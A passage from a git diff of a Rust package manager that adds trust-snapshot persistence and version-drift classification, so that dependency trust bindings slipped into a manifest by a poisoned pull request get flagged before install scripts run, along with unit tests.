ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!( + cfg.trusted_scopes, + vec!["@ok/*".to_string(), "@fine/*".to_string()] + ); + } + + // ── resolve_script_policy precedence ────────────────────────── + + #[test] + fn resolve_cli_override_wins() { + let dir = tempdir().unwrap(); + // Project says triage; CLI forces allow; CLI must win. + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + let resolved = resolve_script_policy(Some(ScriptPolicy::Allow), &cfg); + assert_eq!(resolved, ScriptPolicy::Allow); + } + + #[test] + fn resolve_project_wins_over_global() { + // Setting `HOME` to a temp dir isolates the global-config read; + // without a global config there, the project-level value must + // win on its own. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + // Clear HOME so GlobalConfig::load finds nothing. + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, &cfg); + assert_eq!(resolved, ScriptPolicy::Triage); + } + + #[test] + fn resolve_default_when_nothing_set() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + // Isolate HOME so any developer's real ~/.lpm/config.toml + // doesn't leak into this test. + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, &cfg); + assert_eq!(resolved, ScriptPolicy::Deny); + } + + #[test] + fn resolve_ignores_parse_error_uses_fallthrough() { + // When package.json has an invalid `scriptPolicy`, the + // resolver treats it as "unset" and falls through to global / + // default. The error surfacing is a caller concern + // (install.rs / build.rs emit `output::warn`). This test pins + // the resolver contract: parse-error does NOT block + // resolution, just prevents the value from winning. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "junk"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert!(cfg.policy_parse_error.is_some()); + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, &cfg); + assert_eq!( + resolved, + ScriptPolicy::Deny, + "parse-error scriptPolicy falls through to default", + ); + } +} diff --git a/crates/lpm-cli/src/trust_snapshot.rs b/crates/lpm-cli/src/trust_snapshot.rs new file mode 100644 index 00000000..4628f6e2 --- /dev/null +++ b/crates/lpm-cli/src/trust_snapshot.rs @@ -0,0 +1,506 @@ +//! Phase 46 P1 — `.lpm/trust-snapshot.json` persistence and diff. +//! +//! Every successful `lpm install` writes a snapshot of the current +//! `package.json > lpm > trustedDependencies` into +//! `/.lpm/trust-snapshot.json`. At the start of the next +//! install, the diff against this snapshot surfaces **new trust +//! bindings** — entries that appeared in the manifest since the last +//! install but were not personally approved on this machine (see plan +//! §4.2 for the motivating scenario: a "bump dep" PR that silently +//! adds a `trustedDependencies` entry gets flagged instead of slipping +//! past code review). +//! +//! ## Why a separate file from `build-state.json` +//! +//! `build-state.json` snapshots the *blocked set* (packages whose +//! scripts were NOT covered by approvals) for suppression of the +//! post-install banner. `trust-snapshot.json` snapshots the +//! *approvals themselves* for detection of additions. The two files +//! have independent lifecycles (build-state invalidates on install +//! changes; trust-snapshot only on manifest changes), different +//! schemas, and different consumer concerns. Colocating them in +//! `.lpm/` keeps them next to `package.json` and behind the existing +//! `.gitignore` convention for `.lpm/`. +//! +//! ## Schema stability +//! +//! Same policy as `build-state.json` (see `BUILD_STATE_VERSION` +//! comment): bump only on breaking changes. Optional field additions +//! default to `None` and silently pass through older readers, so +//! `SCHEMA_VERSION = 1` should suffice for all of Phase 46. + +use lpm_common::LpmError; +use lpm_workspace::TrustedDependencies; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +/// Current trust-snapshot schema version. +/// +/// Bump only on **breaking** changes (field type change, removal, +/// semantic change). Additions of `Option` fields do not warrant a +/// bump — the struct has no `deny_unknown_fields` attribute, so older +/// readers silently drop newer fields and newer readers default +/// missing fields to `None`. Same policy as `BUILD_STATE_VERSION`. +pub const SCHEMA_VERSION: u32 = 1; + +/// Filename inside `/.lpm/`. +pub const FILENAME: &str = "trust-snapshot.json"; + +/// One binding captured in the snapshot. +/// +/// Minimal 2-field projection of `TrustedDependencyBinding`. We do +/// NOT capture Phase 46 audit fields (`approved_by`, +/// `approved_by_model_exact`, etc.) here — those belong to the +/// manifest's audit trail, not to the "did-the-set-change" diff. +/// Keeping the snapshot payload lean also means reader / writer +/// churn stays minimal across future binding-schema extensions. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct SnapshotEntry { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub integrity: Option, + #[serde( + default, + rename = "scriptHash", + skip_serializing_if = "Option::is_none" + )] + pub script_hash: Option, +} + +/// Top-level shape of `.lpm/trust-snapshot.json`. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TrustSnapshot { + pub schema_version: u32, + /// RFC 3339 timestamp of the install that wrote this snapshot. + /// Used by the `lpm trust diff` command for "added since " + /// messaging, not by the diff-computation logic itself. + pub captured_at: String, + /// Bindings keyed by `"name@version"` in deterministic + /// lexicographic order (thanks to `BTreeMap`), so JSON on-disk + /// is diff-stable across installs that don't change the set. + pub bindings: BTreeMap, +} + +impl TrustSnapshot { + /// Project the current `package.json > lpm > trustedDependencies` + /// into snapshot shape. + /// + /// **Keying:** the snapshot uses the raw map key from + /// `TrustedDependencies::Rich` (format `"name@version"`, per + /// `TrustedDependencies::rich_key`) so the diff is + /// version-granular. Legacy bare-name entries use the bare name + /// as-is (no `@version`) and project to an empty binding — same + /// semantic the strict gate assigns them (`LegacyNameOnly`). + /// + /// Note we pattern-match on the enum directly rather than calling + /// `TrustedDependencies::iter`: the public `iter` normalizes the + /// key to the name-portion only (stripping `@version`), which + /// would collapse all versions of the same package into one + /// snapshot key and defeat version-granular diff. + /// + /// The returned snapshot's `captured_at` is set to NOW. Callers + /// are expected to persist it via [`write_snapshot`] after a + /// successful install; the timestamp is the write-time marker, + /// not the read-time. + pub fn capture_current(td: &TrustedDependencies) -> Self { + let mut bindings: BTreeMap = BTreeMap::new(); + match td { + TrustedDependencies::Legacy(names) => { + for name in names { + bindings.insert(name.clone(), SnapshotEntry::default()); + } + } + TrustedDependencies::Rich(map) => { + for (key, binding) in map.iter() { + bindings.insert( + key.clone(), + SnapshotEntry { + integrity: binding.integrity.clone(), + script_hash: binding.script_hash.clone(), + }, + ); + } + } + } + Self { + schema_version: SCHEMA_VERSION, + captured_at: current_rfc3339(), + bindings, + } + } + + /// Diff `current` against `previous`, returning the keys present + /// in current but NOT in previous, sorted lexicographically. + /// + /// `previous == None` (first install, missing file, version + /// mismatch, or malformed file) means "nothing to diff against" + /// — returns an empty vec. First-time installs do not trigger + /// the new-bindings notice: no prior snapshot means no user- + /// visible "change" to surface. + /// + /// Note: we deliberately do NOT flag removals or binding changes + /// here. The diff exists to catch silent *additions* from a + /// poisoned PR (plan §4.2); removals are user-initiated via + /// `lpm trust prune` (chunk C) and binding changes are already + /// handled by the `BindingDrift` path in the install pipeline. + pub fn diff_additions(&self, previous: Option<&TrustSnapshot>) -> Vec { + let Some(prev) = previous else { + return Vec::new(); + }; + self.bindings + .keys() + .filter(|k| !prev.bindings.contains_key(*k)) + .cloned() + .collect() + } +} + +/// Current wall-clock time as RFC 3339 string. Matches the +/// `chrono::Utc::now().to_rfc3339()` pattern used by +/// `build_state::current_rfc3339` — lpm-cli uses `chrono` for +/// timestamps; `time` is only a transitive dep via lpm-security. +fn current_rfc3339() -> String { + chrono::Utc::now().to_rfc3339() +} + +/// Absolute path to `/.lpm/trust-snapshot.json`. +pub fn snapshot_path(project_dir: &Path) -> PathBuf { + project_dir.join(".lpm").join(FILENAME) +} + +/// Read the trust snapshot from disk. +/// +/// Returns `None` (treated as "no prior state" by callers) if: +/// - the file is missing +/// - the file fails JSON parse +/// - the `schema_version` is newer than [`SCHEMA_VERSION`] +/// +/// Older `schema_version` values are accepted — the optional-field +/// additions policy (see [`SCHEMA_VERSION`] doc) guarantees parse +/// compatibility. +pub fn read_snapshot(project_dir: &Path) -> Option { + let path = snapshot_path(project_dir); + let content = std::fs::read_to_string(&path).ok()?; + let snap: TrustSnapshot = serde_json::from_str(&content).ok()?; + if snap.schema_version > SCHEMA_VERSION { + tracing::debug!( + "trust-snapshot.json is newer than this binary supports \ + (got v{}, max v{}) — treating as missing", + snap.schema_version, + SCHEMA_VERSION, + ); + return None; + } + Some(snap) +} + +/// Atomically write the snapshot to +/// `/.lpm/trust-snapshot.json`. Writes to a temp file +/// alongside the target and renames; a crash between write and rename +/// preserves the previous snapshot rather than producing a truncated +/// file. +pub fn write_snapshot(project_dir: &Path, snap: &TrustSnapshot) -> Result<(), LpmError> { + let path = snapshot_path(project_dir); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(LpmError::Io)?; + } + + let body = serde_json::to_string_pretty(snap) + .map_err(|e| LpmError::Registry(format!("failed to serialize trust-snapshot: {e}")))?; + + let tmp = path.with_extension("json.tmp"); + std::fs::write(&tmp, body).map_err(LpmError::Io)?; + std::fs::rename(&tmp, &path).map_err(LpmError::Io)?; + Ok(()) +} + +/// Format the new-bindings notice per plan §4.2. +/// +/// Empty input returns `None` so the caller can skip printing. When +/// non-empty, the returned string is ready to pass to +/// `output::info` (multi-line; no leading / trailing newlines). +pub fn format_new_bindings_notice(additions: &[String]) -> Option { + if additions.is_empty() { + return None; + } + let mut out = String::from("Manifest trust bindings changed since last install:\n"); + for key in additions { + out.push_str(&format!(" + {key}\n")); + } + out.push_str(" Run `lpm trust diff` to inspect before scripts run."); + Some(out) +} + +#[cfg(test)] +mod tests { + use super::*; + use lpm_workspace::TrustedDependencyBinding; + use std::collections::HashMap; + use tempfile::tempdir; + + fn rich_td(entries: &[(&str, Option<&str>, Option<&str>)]) -> TrustedDependencies { + let mut map: HashMap = HashMap::new(); + for (key, integrity, script_hash) in entries { + map.insert( + (*key).to_string(), + TrustedDependencyBinding { + integrity: integrity.map(String::from), + script_hash: script_hash.map(String::from), + ..Default::default() + }, + ); + } + TrustedDependencies::Rich(map) + } + + // ── capture_current ──────────────────────────────────────────── + + #[test] + fn capture_empty_produces_empty_snapshot() { + let td = TrustedDependencies::default(); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.schema_version, SCHEMA_VERSION); + assert!(snap.bindings.is_empty()); + assert!(!snap.captured_at.is_empty(), "captured_at populated"); + } + + #[test] + fn capture_rich_bindings_projects_fields() { + let td = rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("sharp@0.33.0", None, Some("sha256-sh")), + ]); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.bindings.len(), 2); + let e = snap.bindings.get("esbuild@0.25.1").unwrap(); + assert_eq!(e.integrity.as_deref(), Some("sha512-e")); + assert_eq!(e.script_hash.as_deref(), Some("sha256-es")); + let s = snap.bindings.get("sharp@0.33.0").unwrap(); + assert_eq!(s.integrity, None); + assert_eq!(s.script_hash.as_deref(), Some("sha256-sh")); + } + + #[test] + fn capture_legacy_bare_names_keep_name_only_key() { + // Legacy `trustedDependencies: ["esbuild", "sharp"]` projects + // to bindings with empty binding payloads. The `name@version` + // key semantic follows `TrustedDependencies::iter()`; legacy + // entries iterate as `(name, None)` and we use the bare name + // as the key for the snapshot. + let td = TrustedDependencies::Legacy(vec!["esbuild".to_string(), "sharp".to_string()]); + let snap = TrustSnapshot::capture_current(&td); + assert_eq!(snap.bindings.len(), 2); + for key in ["esbuild", "sharp"] { + let e = snap + .bindings + .get(key) + .unwrap_or_else(|| panic!("missing bare-name key {key}")); + assert!(e.integrity.is_none() && e.script_hash.is_none()); + } + } + + // ── diff_additions ───────────────────────────────────────────── + + #[test] + fn diff_no_previous_returns_empty() { + // First install: no snapshot file → no "added since" noise. + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + assert!(current.diff_additions(None).is_empty()); + } + + #[test] + fn diff_detects_additions_only() { + // The motivating case: previous snapshot has one entry; new + // manifest has two. The second one is the "silent addition." + let previous = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + let current = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("plain-crypto-js@1.0.0", None, None), + ])); + let adds = current.diff_additions(Some(&previous)); + assert_eq!(adds, vec!["plain-crypto-js@1.0.0".to_string()]); + } + + #[test] + fn diff_ignores_removals() { + // A package removed from the manifest is not "new to the + // user"; don't surface it. Only additions matter for the + // poisoned-PR scenario. + let previous = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("sharp@0.33.0", None, Some("sha256-sh")), + ])); + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-e"), + Some("sha256-es"), + )])); + assert!(current.diff_additions(Some(&previous)).is_empty()); + } + + #[test] + fn diff_ignores_binding_changes_on_same_key() { + // Same key present in both snapshots but with different + // binding values is NOT an "addition." Binding-change + // detection is the job of `BindingDrift` in the install + // pipeline, not this snapshot diff. + let previous = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-old"), + Some("sha256-old"), + )])); + let current = TrustSnapshot::capture_current(&rich_td(&[( + "esbuild@0.25.1", + Some("sha512-new"), + Some("sha256-new"), + )])); + assert!(current.diff_additions(Some(&previous)).is_empty()); + } + + #[test] + fn diff_multiple_additions_are_sorted() { + // BTreeMap keys iterate in order, so the returned vec is + // naturally sorted. Pin this invariant because downstream + // rendering (`format_new_bindings_notice`) relies on it for + // stable output. + let previous = TrustSnapshot::capture_current(&TrustedDependencies::default()); + let current = TrustSnapshot::capture_current(&rich_td(&[ + ("zzz@1.0.0", None, None), + ("aaa@1.0.0", None, None), + ("mmm@1.0.0", None, None), + ])); + let adds = current.diff_additions(Some(&previous)); + assert_eq!( + adds, + vec![ + "aaa@1.0.0".to_string(), + "mmm@1.0.0".to_string(), + "zzz@1.0.0".to_string() + ], + ); + } + + // ── format_new_bindings_notice ───────────────────────────────── + + #[test] + fn format_empty_returns_none() { + assert!(format_new_bindings_notice(&[]).is_none()); + } + + #[test] + fn format_renders_list_with_lpm_trust_diff_cta() { + let n = format_new_bindings_notice(&[ + "plain-crypto-js@1.0.0".to_string(), + "axios@1.14.1".to_string(), + ]) + .unwrap(); + assert!(n.contains("Manifest trust bindings changed since last install")); + assert!(n.contains("+ plain-crypto-js@1.0.0")); + assert!(n.contains("+ axios@1.14.1")); + assert!(n.contains("lpm trust diff")); + } + + // ── read / write round-trip ──────────────────────────────────── + + #[test] + fn write_then_read_round_trip() { + let dir = tempdir().unwrap(); + let td = rich_td(&[("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es"))]); + let snap = TrustSnapshot::capture_current(&td); + + write_snapshot(dir.path(), &snap).unwrap(); + let read = read_snapshot(dir.path()).expect("read back"); + + assert_eq!(read.schema_version, snap.schema_version); + assert_eq!(read.bindings.len(), snap.bindings.len()); + let e = read.bindings.get("esbuild@0.25.1").unwrap(); + assert_eq!(e.integrity.as_deref(), Some("sha512-e")); + } + + #[test] + fn read_missing_file_returns_none() { + let dir = tempdir().unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn read_malformed_json_returns_none() { + let dir = tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join(".lpm")).unwrap(); + std::fs::write(snapshot_path(dir.path()), "{not valid json").unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn read_newer_schema_version_returns_none() { + // Future v2 binary wrote this file; current v1 binary must + // decline to interpret v2 semantics with v1 types. + let dir = tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join(".lpm")).unwrap(); + let future = format!( + r#"{{"schema_version": {}, "captured_at": "2027-01-01T00:00:00Z", "bindings": {{}}}}"#, + SCHEMA_VERSION + 1, + ); + std::fs::write(snapshot_path(dir.path()), future).unwrap(); + assert!(read_snapshot(dir.path()).is_none()); + } + + #[test] + fn write_is_atomic_no_tmp_file_left_behind() { + let dir = tempdir().unwrap(); + let snap = TrustSnapshot::capture_current(&TrustedDependencies::default()); + write_snapshot(dir.path(), &snap).unwrap(); + + // No `.json.tmp` leaked alongside the real file. + let tmp = snapshot_path(dir.path()).with_extension("json.tmp"); + assert!(!tmp.exists(), "atomic write must not leak tmp file"); + } + + // ── end-to-end: install N writes, install N+1 diffs ─────────── + + #[test] + fn install_n_writes_snapshot_install_n_plus_1_detects_addition() { + // Simulates the audit-prescribed flow: + // 1. User runs install with manifest M1. + // 2. Snapshot is written with M1's bindings. + // 3. A poisoned PR adds "axios@1.14.1" to the manifest. + // 4. User runs install with manifest M2. Before the install + // modifies anything, the diff surfaces axios@1.14.1. + let dir = tempdir().unwrap(); + + // Install N: snapshot M1 = {esbuild@0.25.1}. + let m1 = rich_td(&[("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es"))]); + let snap_n = TrustSnapshot::capture_current(&m1); + write_snapshot(dir.path(), &snap_n).unwrap(); + + // Install N+1: read the prior snapshot and diff against the + // new manifest M2 = {esbuild@0.25.1, axios@1.14.1}. + let prior = read_snapshot(dir.path()).expect("snapshot N readable"); + let m2 = rich_td(&[ + ("esbuild@0.25.1", Some("sha512-e"), Some("sha256-es")), + ("axios@1.14.1", None, None), + ]); + let snap_n_plus_1 = TrustSnapshot::capture_current(&m2); + let adds = snap_n_plus_1.diff_additions(Some(&prior)); + + assert_eq!( + adds, + vec!["axios@1.14.1".to_string()], + "silent manifest addition MUST be flagged on the next install \ + (audit-prescribed end-to-end regression)" + ); + + // And the rendered notice names the CTA to inspect. + let notice = format_new_bindings_notice(&adds).expect("non-empty"); + assert!(notice.contains("axios@1.14.1")); + assert!(notice.contains("lpm trust diff")); + } +} diff --git a/crates/lpm-cli/src/version_diff.rs b/crates/lpm-cli/src/version_diff.rs new file mode 100644 index 00000000..a96d339b --- /dev/null +++ b/crates/lpm-cli/src/version_diff.rs @@ -0,0 +1,1873 @@ +//! **Phase 46 P7 — pure version-diff core.** +//! +//! Computes the field-by-field diff between a prior-approved +//! [`TrustedDependencyBinding`] and a candidate [`BlockedPackage`] +//! across the three dimensions [§11 P7] calls out: script hash, +//! behavioral-tag set, and provenance identity tuple. +//! +//! ## Shape +//! +//! Pure functions over [`TrustedDependencyBinding`] and +//! [`BlockedPackage`]. No I/O, no registry calls, no stdout writes. +//! The [`VersionDiff`] + [`VersionDiffReason`] types mirror P6's +//! `TrustReason` split — decision is lifted out of the rendering +//! layer so unit tests can assert the classification without +//! capturing stdout, and the JSON output path (C4) can serialize +//! the same structure agents consume. +//! +//! ## Drift dimensions +//! +//! 1. **Script hash.** `TrustedDependencyBinding.script_hash` == +//! `BlockedPackage.script_hash`. Unknown on either side (`None`) +//! is treated as "no signal" — the install-time binding may have +//! been approved before the field was captured. +//! 2. **Behavioral tags.** `TrustedDependencyBinding.behavioral_tags_hash` +//! compared fast; if the hashes differ, `.behavioral_tags` is +//! compared as a set to produce the `gained / lost` delta the +//! rendering layer surfaces (§11 P7 ship criterion 2). +//! 3. **Provenance identity.** Uses the SAME identity tuple +//! (`present + publisher + workflow_path`) as +//! `lpm_security::provenance::check_provenance_drift`, so the +//! diff UI cannot disagree with the install-time drift gate on +//! which dimension rotated. +//! +//! ## Prior-binding lookup +//! +//! This module DOES NOT resolve the prior version — callers pass the +//! `(prior_version, binding)` tuple obtained from +//! [`TrustedDependencies::latest_binding_for_name`]. The selector +//! discipline lives in `lpm-workspace` so P4's drift gate and P7's +//! diff can never select a different "prior approval." +//! +//! [`TrustedDependencyBinding`]: lpm_workspace::TrustedDependencyBinding +//! [`BlockedPackage`]: crate::build_state::BlockedPackage +//! [`TrustedDependencies::latest_binding_for_name`]: lpm_workspace::TrustedDependencies::latest_binding_for_name +//! [§11 P7]: https://github.com/anthropics/claude-code — see plan-doc §11 P7 + +use crate::build_state::BlockedPackage; +use lpm_workspace::{ProvenanceSnapshot, TrustedDependencyBinding}; + +/// The per-dimension classification of a version diff. +/// +/// Multi-field drift collapses into [`Self::MultiFieldDrift`] rather +/// than enumerating every subset, because the rendering layer (C2 + +/// C3) and the JSON output (C4) surface each present dimension +/// independently — the enum is the routing decision, not the +/// per-dimension flag. +/// +/// Ordering principle: more-surprising reasons sort later so a +/// future `worse_of`-style reduction can be added without a breaking +/// re-shuffle. Today only [`Self::NoChange`] is the terminal "don't +/// render" verdict; all others render. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum VersionDiffReason { + /// None of the three dimensions drifted (or every one that did + /// was `None`-vs-`None` = no signal). The rendering layer omits + /// the diff card entirely. This is NOT the same as "fields are + /// missing" — `NoChange` is a positive equality assertion on + /// every dimension we can compare. + NoChange, + /// Only the script hash drifted between approved and candidate. + /// Script bodies live in the store; the rendering layer reads + /// them and produces a unified diff (that's a C2/C3 concern — + /// this module only records the verdict). + ScriptHashDrift, + /// Only the behavioral-tag set drifted. `gained` / `lost` are + /// the set-difference deltas, sorted lexicographically (matches + /// `active_tag_names()` ordering) so output is deterministic. + /// + /// At least one of `gained` / `lost` is non-empty when this + /// variant is returned — the `NoChange` case is filtered out + /// upstream in [`compute_version_diff`]. + BehavioralTagShift { + gained: Vec, + lost: Vec, + }, + /// Only the provenance identity tuple drifted. `kind` + /// distinguishes the three meaningful cases — see + /// [`ProvenanceDriftKind`]. + ProvenanceDrift { kind: ProvenanceDriftKind }, + /// Two or more dimensions drifted simultaneously. Each + /// sub-verdict is present so the rendering layer can produce + /// one card section per dimension without re-running the + /// per-dimension check. + MultiFieldDrift { + script_hash: bool, + tags: Option, + provenance: Option, + }, +} + +/// Per-dimension behavioral-tag shift payload, shared between +/// [`VersionDiffReason::BehavioralTagShift`] and the multi-field +/// branch. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct TagShift { + /// Tags present in the candidate but NOT in the prior-approved + /// binding. Sorted lex. + pub gained: Vec, + /// Tags present in the prior-approved binding but NOT in the + /// candidate. Sorted lex. + pub lost: Vec, +} + +/// How the provenance identity rotated. +/// +/// Mirrors the `(approved, now)` match arms in +/// `lpm_security::provenance::check_provenance_drift` but EXPANDS +/// the `(None-side, Some-side)` cases so the rendering layer can +/// say "this version NEWLY has provenance" vs. "this version DROPPED +/// provenance" explicitly. The drift gate collapses +/// `Some(!present) + Some(present)` to `NoDrift` because present → +/// better; P7's UI still surfaces it as informational context. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ProvenanceDriftKind { + /// Approved side had provenance with identity `X`; candidate has + /// provenance with identity `Y`. The identity tuple is + /// `(present, publisher, workflow_path)` — `workflow_ref` and + /// `attestation_cert_sha256` rotate per release and are excluded + /// (same discipline as `identity_equal` in lpm-security). + IdentityChanged, + /// Approved side had provenance, candidate does NOT. The axios + /// 1.14.1 pattern. + Dropped, + /// Approved side had no provenance attestation, candidate has + /// one. The package "gained" provenance — informational only; + /// `check_provenance_drift` treats this as `NoDrift`. + Gained, +} + +/// A computed version diff between a prior-approved binding and a +/// candidate `BlockedPackage`. +/// +/// Callers typically: +/// 1. Look up the prior binding via +/// [`TrustedDependencies::latest_binding_for_name`]. +/// 2. Pass `(prior_version, binding, candidate)` into +/// [`compute_version_diff`]. +/// 3. Branch on `reason` to decide whether to render. +/// +/// [`TrustedDependencies::latest_binding_for_name`]: lpm_workspace::TrustedDependencies::latest_binding_for_name +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct VersionDiff { + /// The version string of the prior-approved binding (e.g. `"1.14.0"`). + /// Rendered in the human UI as `"since v1.14.0"`. + pub prior_version: String, + /// The candidate version string the diff is computed against. + pub candidate_version: String, + /// The classification. [`VersionDiffReason::NoChange`] means + /// callers should suppress any diff rendering — no dimension + /// drifted. + pub reason: VersionDiffReason, +} + +impl VersionDiff { + /// Convenience predicate — `true` when at least one dimension + /// actually drifted. Mirrors the `!matches!(reason, NoChange)` + /// pattern so render-sites can read as `if diff.is_drift()`. + pub fn is_drift(&self) -> bool { + !matches!(self.reason, VersionDiffReason::NoChange) + } +} + +/// Identity tuple used for provenance comparison. +/// +/// Mirrors `lpm_security::provenance::identity_equal` EXACTLY so the +/// diff UI's equality decision cannot diverge from the install-time +/// drift gate's equality decision. Keeping the comparison local (a +/// pure helper) rather than re-exporting the security crate's +/// private fn avoids a public-API leak from `lpm-security` just to +/// satisfy a rendering consumer. +fn provenance_identity_equal(a: &ProvenanceSnapshot, b: &ProvenanceSnapshot) -> bool { + a.present == b.present && a.publisher == b.publisher && a.workflow_path == b.workflow_path +} + +/// Classify a single provenance dimension given the `(approved, +/// candidate)` snapshots. +/// +/// Returns `None` for the "no signal" cases where the diff UI should +/// stay silent: +/// - Neither side has a captured snapshot (both `None`). +/// - Approved has no snapshot but candidate does — this IS the +/// "Gained" case and returns `Some(Gained)`; the rendering layer +/// decides whether to surface it. +/// +/// The full match table: +/// +/// | approved | candidate | verdict | +/// |--------------|----------------------------------|------------------------------------------| +/// | `None` | `None` | `None` (no signal) | +/// | `None` | `Some(_ present = _)` | `Some(Gained)` if present=true else `None` | +/// | `Some(_ present = true)` | `None` | `Some(Dropped)` | +/// | `Some(_ present = true)` | `Some(_ present = false)` | `Some(Dropped)` | +/// | `Some(_ present = false)` | `Some(_ present = true)` | `Some(Gained)` | +/// | `Some(a)` | `Some(b)` (both present, identity eq) | `None` (no change) | +/// | `Some(a)` | `Some(b)` (both present, identity neq) | `Some(IdentityChanged)` | +/// | `Some(_ absent)` | `Some(_ absent)` / `None` | `None` (no signal — never had it) | +fn classify_provenance( + approved: Option<&ProvenanceSnapshot>, + candidate: Option<&ProvenanceSnapshot>, +) -> Option { + match (approved, candidate) { + // Both absent → no signal. + (None, None) => None, + + // Approved none, candidate something. + (None, Some(c)) => { + if c.present { + Some(ProvenanceDriftKind::Gained) + } else { + // Candidate is `Some(present=false)` — the install + // pipeline captured "no attestation" rather than + // leaving the field empty. Equivalent to both-none + // for the user; don't emit a drift card. + None + } + } + + // Approved something, candidate none — the fetcher degraded + // for the current install. Downgrade to no-signal per the + // §7.2 "(Some, None) → OK" rule: we can't claim drift on a + // transient fetch failure. + (Some(_), None) => None, + + (Some(a), Some(c)) => match (a.present, c.present) { + (false, false) => None, // neither version had provenance + (false, true) => Some(ProvenanceDriftKind::Gained), + (true, false) => Some(ProvenanceDriftKind::Dropped), + (true, true) => { + if provenance_identity_equal(a, c) { + None + } else { + Some(ProvenanceDriftKind::IdentityChanged) + } + } + }, + } +} + +/// Classify the behavioral-tag shift given the `(approved, +/// candidate)` tag name sets. +/// +/// Returns `None` when: +/// - Either side is `None` (missing signal — can't claim drift). +/// - Both sides are `Some` and the sets are equal (hash comparison +/// does the fast-path check upstream; this is the structural +/// fallback). +/// +/// Returns `Some(TagShift)` with sorted `gained` / `lost` when at +/// least one tag differs. The input is assumed to already be sorted +/// (per `BehavioralTags::active_tag_names()`), which makes the +/// set-difference pass O(n+m) via a merge rather than requiring a +/// HashSet per call. +fn classify_tags(approved: Option<&[String]>, candidate: Option<&[String]>) -> Option { + let (approved, candidate) = match (approved, candidate) { + (Some(a), Some(c)) => (a, c), + _ => return None, + }; + + // Both inputs are sorted-ascending (active_tag_names() guarantee); + // walk both cursors and fall out on side-only entries. + let mut gained: Vec = Vec::new(); + let mut lost: Vec = Vec::new(); + let mut i = 0usize; + let mut j = 0usize; + while i < approved.len() && j < candidate.len() { + match approved[i].cmp(&candidate[j]) { + std::cmp::Ordering::Equal => { + i += 1; + j += 1; + } + std::cmp::Ordering::Less => { + // Present on approved-side only → lost. + lost.push(approved[i].clone()); + i += 1; + } + std::cmp::Ordering::Greater => { + // Present on candidate-side only → gained. + gained.push(candidate[j].clone()); + j += 1; + } + } + } + // Drain whichever side has leftovers. + while i < approved.len() { + lost.push(approved[i].clone()); + i += 1; + } + while j < candidate.len() { + gained.push(candidate[j].clone()); + j += 1; + } + + if gained.is_empty() && lost.is_empty() { + None + } else { + Some(TagShift { gained, lost }) + } +} + +/// Classify the script-hash dimension. +/// +/// Returns `true` iff both sides have a `Some(hash)` AND the hashes +/// differ. Missing-on-either-side is `false` (no signal). +fn classify_script_hash(approved: Option<&str>, candidate: Option<&str>) -> bool { + match (approved, candidate) { + (Some(a), Some(c)) => a != c, + _ => false, + } +} + +/// Compute the version diff between a prior-approved binding and a +/// candidate `BlockedPackage`. +/// +/// Pure: no I/O, no allocations beyond the returned structure. The +/// renderer (C2/C3) and the JSON emitter (C4) consume the returned +/// [`VersionDiff`] value. +/// +/// Returns a [`VersionDiff`] with [`VersionDiffReason::NoChange`] when +/// every dimension is equal or contributes no signal. Callers can +/// branch on [`VersionDiff::is_drift`] to decide whether to render. +pub fn compute_version_diff( + prior_version: &str, + binding: &TrustedDependencyBinding, + candidate: &BlockedPackage, +) -> VersionDiff { + // Fast-path: if the binding's captured script_hash equals the + // candidate's AND the behavioral_tags_hashes equal (or both are + // None) AND the provenance tuples equal (or no signal), we can + // short-circuit to NoChange without any allocation. + // + // Done via the per-dimension classifiers below, which each return + // a "no signal / no change" sentinel; we aggregate after so the + // diff-bearing cases produce the structured output. + let script_drift = classify_script_hash( + binding.script_hash.as_deref(), + candidate.script_hash.as_deref(), + ); + + // Behavioral tags: compare hashes first for fast equality when + // both sides have the 